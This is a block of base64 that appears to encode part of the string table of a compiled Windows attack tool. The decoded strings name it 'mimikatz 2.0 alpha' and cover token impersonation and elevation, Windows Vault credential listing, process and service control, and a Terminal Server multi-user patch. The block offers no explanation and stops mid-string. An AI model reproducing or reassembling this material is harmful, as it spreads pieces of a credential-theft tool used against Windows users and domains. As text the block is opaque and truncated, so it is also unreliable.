7ACAAUwBlAGMAbwBuAGQAIABwAGEAdAB0AGUAcgBuACAAbgBvAHQAIABmAG8AdQBuAGQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAEYAaQByAHMAdAAgAHAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABjAHIAeQBwAHQAZABsAGwALgBkAGwAbAAAAAAAAAAAAFsAUgBDADQAXQAgAGYAdQBuAGMAdABpAG8AbgBzAAoAAAAAAAAAAABbAFIAQwA0AF0AIABpAG4AaQB0ACAAcABhAHQAYwBoACAATwBLAAoAAAAAAAAAAABbAFIAQwA0AF0AIABkAGUAYwByAHkAcAB0ACAAcABhAHQAYwBoACAATwBLAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAHIAZQBhAHQAZQAgAHIAZQBtAG8AdABlACAAZgB1AG4AYwB0AGkAbwBuAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbABvAGMAYQBsAGcAcgBvAHUAcAAAAAAAZwByAG8AdQBwAAAAAAAAAG4AZQB0AAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAQgB1AGkAbAB0AGkAbgAgACgAPwApACAAJQAwADgAeAAKAAAACgBEAG8AbQBhAGkAbgAgAG4AYQBtAGUAIAA6ACAAJQB3AFoAAAAAAAoARABvAG0AYQBpAG4AIABTAEkARAAgACAAOgAgAAAACgAgACUALQA1AHUAIAAlAHcAWgAAAAAACgAgAHwAIAAlAC0ANQB1ACAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARwBlAHQARwByAG8AdQBwAHMARgBvAHIAVQBzAGUAcgAgACUAMAA4AHgAAAAAAAAAAAAKACAAfABgACUALQA1AHUAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBHAGUAdABBAGwAaQBhAHMATQBlAG0AYgBlAHIAcwBoAGkAcAAgACUAMAA4AHgAAAAAAAoAIAB8ALQAJQAtADUAdQAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAFIAaQBkAFQAbwBTAGkAZAAgACUAMAA4AHgAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABEAG8AbQBhAGkAbgBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUARABvAG0AYQBpAG4AcwBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAAAAAAAAAZABlAGIAdQBnAAAAAAAAAEEAcwBrACAAZABlAGIAdQBnACAAcAByAGkAdgBpAGwAZQBnAGUAAABwAHIAaQB2AGkAbABlAGcAZQAAAAAAAABQAHIAaQB2AGkAbABlAGcAZQAgAG0AbwBkAHUAbABlAAAAAAAAAAAAUAByAGkAdgBpAGwAZQBnAGUAIAAnACUAdQAnACAATwBLAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAHMAaQBtAHAAbABlACAAOwAgAFIAdABsAEEAZABqAHUAcwB0AFAAcgBpAHYAaQBsAGUAZwBlACAAKAAlAHUAKQAgACUAMAA4AHgACgAAAAAAAABlAHgAcABvAHIAdABzAAAATABpAHMAdAAgAGUAeABwAG8AcgB0AHMAAAAAAAAAAABpAG0AcABvAHIAdABzAAAATABpAHMAdAAgAGkAbQBwAG8AcgB0AHMAAAAAAAAAAABzAHQAYQByAHQAAAAAAAAAUwB0AGEAcgB0ACAAYQAgAHAAcgBvAGMAZQBzAHMAAABzAHQAbwBwAAAAAAAAAAAAVABlAHIAbQBpAG4AYQB0AGUAIABhACAAcAByAG8AYwBlAHMAcwAAAHMAdQBzAHAAZQBuAGQAAABTAHUAcwBwAGUAbgBkACAAYQAgAHAAcgBvAGMAZQBzAHMAAAAAAAAAcgBlAHMAdQBtAGUAAAAAAFIAZQBzAHUAbQBlACAAYQAgAHAAcgBvAGMAZQBzAHMAAAAAAAAAAABQAHIAbwBjAGUAcwBzACAAbQBvAGQAdQBsAGUAAAAAAFQAcgB5AGkAbgBnACAAdABvACAAcwB0AGEAcgB0ACAAIgAlAHMAIgAgADoAIAAAAE8ASwAgACEAIAAoAFAASQBEACAAJQB1ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBzAHQAYQByAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwByAGUAYQB0AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAE4AdABUAGUAcgBtAGkAbgBhAHQAZQBQAHIAbwBjAGUAcwBzAAAAAABOAHQAUwB1AHMAcABlAG4AZABQAHIAbwBjAGUAcwBzAAAAAAAAAAAATgB0AFIAZQBzAHUAbQBlAFAAcgBvAGMAZQBzAHMAAAAlAHMAIABvAGYAIAAlAHUAIABQAEkARAAgADoAIABPAEsAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgACUAcwAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgAHAAaQBkACAAKAAvAHAAaQBkADoAMQAyADMAKQAgAGkAcwAgAG0AaQBzAHMAaQBuAGcAAAAAAAAAJQB1AAkAJQB3AFoACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwBhAGwAbABiAGEAYwBrAFAAcgBvAGMAZQBzAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAGEAbABsAGIAYQBjAGsAUAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AbwBwAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAlAHcAWgAAAAAAAAAAAAoACQAlAHAAIAAtAD4AIAAlAHUAAAAAAAkAJQB1AAAACQAgAAAAAAAJACUAcAAAAAkAJQBTAAAACQAtAD4AIAAlAFMAAAAAAAoACQAlAHAAIAAtAD4AIAAlAHAACQAlAFMAIAAhACAAAAAAACUAUwAAAAAAAAAAACMAJQB1AAAAUwB0AGEAcgB0ACAAcwBlAHIAdgBpAGMAZQAAAAAAAABSAGUAbQBvAHYAZQAgAHMAZQByAHYAaQBjAGUAAAAAAFMAdABvAHAAIABzAGUAcgB2AGkAYwBlAAAAAAAAAAAAUwB1AHMAcABlAG4AZAAgAHMAZQByAHYAaQBjAGUAAABSAGUAcwB1AG0AZQAgAHMAZQByAHYAaQBjAGUAAAAAAHAAcgBlAHMAaAB1AHQAZABvAHcAbgAAAFAAcgBlAHMAaAB1AHQAZABvAHcAbgAgAHMAZQByAHYAaQBjAGUAAABzAGgAdQB0AGQAbwB3AG4AAAAAAAAAAABTAGgAdQB0AGQAbwB3AG4AIABzAGUAcgB2AGkAYwBlAAAAAAAAAAAATABpAHMAdAAgAHMAZQByAHYAaQBjAGUAcwAAAAAAAABTAGUAcgB2AGkAYwBlACAAbQBvAGQAdQBsAGUAAAAAACUAcwAgACcAJQBzACcAIABzAGUAcgB2AGkAYwBlACAAOgAgAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABTAGUAcgB2AGkAYwBlACAAbwBwAGUAcgBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGkAYwBGAHUAbgBjAHQAaQBvAG4AIAA7ACAASQBuAGoAZQBjAHQAIABuAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlAAoAAAAAAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGkAYwBGAHUAbgBjAHQAaQBvAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHMAZQByAHYAaQBjAGUAIABuAGEAbQBlACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAFMAdABhAHIAdABpAG4AZwAAAAAAAAAAAFIAZQBtAG8AdgBpAG4AZwAAAAAAAAAAAFMAdABvAHAAcABpAG4AZwAAAAAAAAAAAFMAdQBzAHAAZQBuAGQAaQBuAGcAAAAAAFIAZQBzAHUAbQBpAG4AZwAAAAAAAAAAAFAAcgBlAHMAaAB1AHQAZABvAHcAbgAAAFMAaAB1AHQAZABvAHcAbgAAAAAAAAAAAHMAZQByAHYAaQBjAGUAcwAuAGUAeABlAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAGUAcgByAG8AcgAgACUAdQAKAAAAAAAAAE8ASwAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAATgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHcAaQB0AGgAbwB1AHQAIABTAGMAUwBlAG4AZABDAG8AbgB0AHIAbwBsAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAZQB4AGkAdAAAAAAAAAAAAFEAdQBpAHQAIABtAGkAbQBpAGsAYQB0AHoAAAAAAAAAYwBsAHMAAABDAGwAZQBhAHIAIABzAGMAcgBlAGUAbgAgACgAZABvAGUAcwBuACcAdAAgAHcAbwByAGsAIAB3AGkAdABoACAAcgBlAGQAaQByAGUAYwB0AGkAbwBuAHMALAAgAGwAaQBrAGUAIABQAHMARQB4AGUAYwApAAAAAABhAG4AcwB3AGUAcgAAAAAAAAAAAAAAAABBAG4AcwB3AGUAcgAgAHQAbwAgAHQAaABlACAAVQBsAHQAaQBtAGEAdABlACAAUQB1AGUAcwB0AGkAbwBuACAAbwBmACAATABpAGYAZQAsACAAdABoAGUAIABVAG4AaQB2AGUAcgBzAGUALAAgAGEAbgBkACAARQB2AGUAcgB5AHQAaABpAG4AZwAAAAAAAABjAG8AZgBmAGUAZQAAAAAAUABsAGUAYQBzAGUALAAgAG0AYQBrAGUAIABtAGUAIABhACAAYwBvAGYAZgBlAGUAIQAAAAAAAABzAGwAZQBlAHAAAAAAAAAAAAAAAAAAAABTAGwAZQBlAHAAIABhAG4AIABhAG0AbwB1AG4AdAAgAG8AZgAgAG0AaQBsAGwAaQBzAGUAYwBvAG4AZABzAAAATABvAGcAIABtAGkAbQBpAGsAYQB0AHoAIABpAG4AcAB1AHQALwBvAHUAdABwAHUAdAAgAHQAbwAgAGYAaQBsAGUAAAAAAAAAYgBhAHMAZQA2ADQAAAAAAAAAAAAAAAAAUwB3AGkAdABjAGgAIABmAGkAbABlACAAbwB1AHQAcAB1AHQALwBiAGEAcwBlADYANAAgAG8AdQB0AHAAdQB0AAAAAAAAAAAAdgBlAHIAcwBpAG8AbgAAAAAAAAAAAAAARABpAHMAcABsAGEAeQAgAHMAbwBtAGUAIAB2AGUAcgBzAGkAbwBuACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAAABjAGQAAAAAAAAAAABDAGgAYQBuAGcAZQAgAG8AcgAgAGQAaQBzAHAAbABhAHkAIABjAHUAcgByAGUAbgB0ACAAZABpAHIAZQBjAHQAbwByAHkAAABtAGEAcgBrAHIAdQBzAHMAAAAAAAAAAABNAGEAcgBrACAAYQBiAG8AdQB0ACAAUAB0AEgAAAAAAHMAdABhAG4AZABhAHIAZAAAAAAAAAAAAFMAdABhAG4AZABhAHIAZAAgAG0AbwBkAHUAbABlAAAAAAAAAAAAAABCAGEAcwBpAGMAIABjAG8AbQBtAGEAbgBkAHMAIAAoAGQAbwBlAHMAIABuAG8AdAAgAHIAZQBxAHUAaQByAGUAIABtAG8AZAB1AGwAZQAgAG4AYQBtAGUAKQAAAAAAAABCAHkAZQAhAAoAAAAAAAAANAAyAC4ACgAAAAAAAAAAAAoAIAAgACAAIAAoACAAKAAKACAAIAAgACAAIAApACAAKQAKACAAIAAuAF8AXwBfAF8AXwBfAC4ACgAgACAAfAAgACAAIAAgACAAIAB8AF0ACgAgACAAXAAgACAAIAAgACAAIAAvAAoAIAAgACAAYAAtAC0ALQAtACcACgAAAAAAUwBsAGUAZQBwACAAOgAgACUAdQAgAG0AcwAuAC4ALgAgAAAAAAAAAEUAbgBkACAAIQAKAAAAAABtAGkAbQBpAGsAYQB0AHoALgBsAG8AZwAAAAAAAAAAAFUAcwBpAG4AZwAgACcAJQBzACcAIABmAG8AcgAgAGwAbwBnAGYAaQBsAGUAIAA6ACAAJQBzAAoAAAAAAAAAAAB0AHIAdQBlAAAAAAAAAAAAZgBhAGwAcwBlAAAAAAAAAGkAcwBCAGEAcwBlADYANABJAG4AdABlAHIAYwBlAHAAdAAgAHcAYQBzACAAIAAgACAAOgAgACUAcwAKAAAAAABpAHMAQgBhAHMAZQA2ADQASQBuAHQAZQByAGMAZQBwAHQAIABpAHMAIABuAG8AdwAgADoAIAAlAHMACgAAAAAANgA0AAAAAAAKAG0AaQBtAGkAawBhAHQAegAgADIALgAwACAAYQBsAHAAaABhACAAKABhAHIAYwBoACAAeAA2ADQAKQAKAFcAaQBuAGQAbwB3AHMAIABOAFQAIAAlAHUALgAlAHUAIABiAHUAaQBsAGQAIAAlAHUAIAAoAGEAcgBjAGgAIAB4ACUAcwApAAoAbQBzAHYAYwAgACUAdQAgACUAdQAKAAAAQwB1AHIAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB0AGEAbgBkAGEAcgBkAF8AYwBkACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEMAdQByAHIAZQBuAHQARABpAHIAZQBjAHQAbwByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAE4AZQB3ADoAIAAlAHMACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwBjAGQAIAA7ACAAUwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAUwBvAHIAcgB5ACAAeQBvAHUAIABnAHUAeQBzACAAZABvAG4AJwB0ACAAZwBlAHQAIABpAHQALgAKAAAAAAAAAHcAaABvAGEAbQBpAAAAAABEAGkAcwBwAGwAYQB5ACAAYwB1AHIAcgBlAG4AdAAgAGkAZABlAG4AdABpAHQAeQAAAAAAAAAAAEwAaQBzAHQAIABhAGwAbAAgAHQAbwBrAGUAbgBzACAAbwBmACAAdABoAGUAIABzAHkAcwB0AGUAbQAAAAAAAABlAGwAZQB2AGEAdABlAAAASQBtAHAAZQByAHMAbwBuAGEAdABlACAAYQAgAHQAbwBrAGUAbgAAAHIAZQB2AGUAcgB0AAAAAABSAGUAdgBlAHIAdAAgAHQAbwAgAHAAcgBvAGMAZQBzACAAdABvAGsAZQBuAAAAAAB0AG8AawBlAG4AAAAAAAAAVABvAGsAZQBuACAAbQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABtAG8AZAB1AGwAZQAAAAAAAAAgACoAIABQAHIAbwBjAGUAcwBzACAAVABvAGsAZQBuACAAOgAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHcAaABvAGEAbQBpACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwBUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAIAAqACAAVABoAHIAZQBhAGQAIABUAG8AawBlAG4AIAAgADoAIAAAAG4AbwAgAHQAbwBrAGUAbgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AdwBoAG8AYQBtAGkAIAA7ACAATwBwAGUAbgBUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABkAG8AbQBhAGkAbgBhAGQAbQBpAG4AAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBsAG8AYwBhAGwAXwBkAG8AbQBhAGkAbgBfAHUAcwBlAHIAXwBnAGUAdABDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAFMASQBEACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAATgBvACAAdQBzAGUAcgBuAGEAbQBlACAAYQB2AGEAaQBsAGEAYgBsAGUAIAB3AGgAZQBuACAAUwBZAFMAVABFAE0ACgAAAFQAbwBrAGUAbgAgAEkAZAAgACAAOgAgACUAdQAKAFUAcwBlAHIAIABuAGEAbQBlACAAOgAgACUAcwAKAFMASQBEACAAbgBhAG0AZQAgACAAOgAgAAAAAAAlAHMAXAAlAHMACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZwBlAHQATgBhAG0AZQBEAG8AbQBhAGkAbgBGAHIAbwBtAFMASQBEACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBsAG8AYwBhAGwAXwBkAG8AbQBhAGkAbgBfAHUAcwBlAHIAXwBDAHIAZQBhAHQAZQBXAGUAbABsAEsAbgBvAHcAbgBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AcgBlAHYAZQByAHQAIAA7ACAAUwBlAHQAVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABBAG4AbwBuAHkAbQBvAHUAcwAAAAAAAABJAGQAZQBuAHQAaQBmAGkAYwBhAHQAaQBvAG4AAAAAAEkAbQBwAGUAcgBzAG8AbgBhAHQAaQBvAG4AAAAAAAAARABlAGwAZQBnAGEAdABpAG8AbgAAAAAAVQBuAGsAbgBvAHcAbgAAACUALQAxADAAdQAJAAAAAAAlAHMAXAAlAHMACQAlAHMAAAAAAAAAAAAJACgAJQAwADIAdQBnACwAJQAwADIAdQBwACkACQAlAHMAAAAAAAAAIAAoACUAcwApAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAAQwBoAGUAYwBrAFQAbwBrAGUAbgBNAGUAbQBiAGUAcgBzAGgAaQBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAlAHUACQAAACAALQA+ACAASQBtAHAAZQByAHMAbwBuAGEAdABlAGQAIAAhAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlAF8AYwBhAGwAbABiAGEAYwBrACAAOwAgAFMAZQB0AFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABtAHUAbAB0AGkAcgBkAHAAAAAAAAAAAAAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAHAAYQB0AGMAaAAgAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByACAAcwBlAHIAdgBpAGMAZQAgAHQAbwAgAGEAbABsAG8AdwAgAG0AdQBsAHQAaQBwAGwAZQBzACAAdQBzAGUAcgBzAAAAdABzAAAAAAAAAAAAVABlAHIAbQBpAG4AYQBsACAAUwBlAHIAdgBlAHIAIABtAG8AZAB1AGwAZQAAAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAAVABlAHIAbQBTAGUAcgB2AGkAYwBlAAAAAAAAAAAAAABXAGkAbgBkAG8AdwBzACAAVgBhAHUAbAB0AC8AQwByAGUAZABlAG4AdABpAGEAbAAgAG0AbwBkAHUAbABlAAAAdgBhAHUAbAB0AGMAbABpAAAAAAAAAAAAVmF1bHRFbnVtZXJhdGVJdGVtVHlwZXMAVmF1bHRFbnVtZXJhdGVWYXVsdHMAAAAAVmF1bHRPcGVuVmF1bHQAAFZhdWx0R2V0SW5mb3JtYXRpb24AAAAAAFZhdWx0RW51bWVyYXRlSXRlbXMAAAAAAFZhdWx0Q2xvc2VWYXVsdABWYXVsdEZyZWUAAAAAAAAAVmF1bHRHZXRJdGVtAAAAAEQAbwBtAGEAaQBuACAAUABhAHMAcwB3AG8AcgBkAAAARABvAG0AYQBpAG4AIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAAAAAAEQAbwBtAGEAaQBuACAARQB4AHQAZQBuAGQAZQBkAAAAUABpAG4AIABMAG8AZwBvAG4AAAAAAAAAUABpAGMAdAB1AHIAZQAgAFAAYQBzAHMAdwBvAHIAZAAAAAAAAAAAAEIAaQBvAG0AZQB0AHIAaQBjAAAAAAAAAE4AZQB4AHQAIABHAGUAbgBlAHIAYQB0AGkAbwBuACAAQwByAGUAZABlAG4AdABpAGEAbAAAAAAACgBWAGEAdQBsAHQAIAA6ACAAAAAAAAAACQBJAHQAZQBtAHMAIAAoACUAdQApAAoAAAAAAAAAAAAJACAAJQAyAHUALgAJACUAcwAKAAAAAAAJAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAJAAkATABhAHMAdABXAHIAaQB0AHQAZQBuACAAIAAgACAAIAA6ACAAAAAAAAAAAAAJAAkARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAkACQBSAGUAcwBzAG8AdQByAGMAZQAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAAkACQBJAGQAZQBuAHQAaQB0AHkAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAAkACQBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACAAIAAgADoAIAAAAAAAAAAAAAkACQBQAHIAbwBwAGUAcgB0AHkAIAAlADIAdQAgACAAIAAgACAAOgAgAAAAAAAAAAkACQAqAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABvAHIAKgAgADoAIAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0ACAAOwAgAFYAYQB1AGwAdABHAGUAdABJAHQAZQBtADcAIAA6ACAAJQAwADgAeAAAAAAACQAJAFAAYQBjAGsAYQBnAGUAUwBpAGQAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0ACAAOwAgAFYAYQB1AGwAdABHAGUAdABJAHQAZQBtADgAIAA6ACAAJQAwADgAeAAAAAAACgAJAAkAKgAqACoAIAAlAHMAIAAqACoAKgAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAIAA7ACAAVgBhAHUAbAB0AEUAbgB1AG0AZQByAGEAdABlAFYAYQB1AGwAdABzACAAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAAJAAkAVQBzAGUAcgAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlAHMAXAAlAHMAAAAAAAAAAAAAAAAAAABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AXABMAG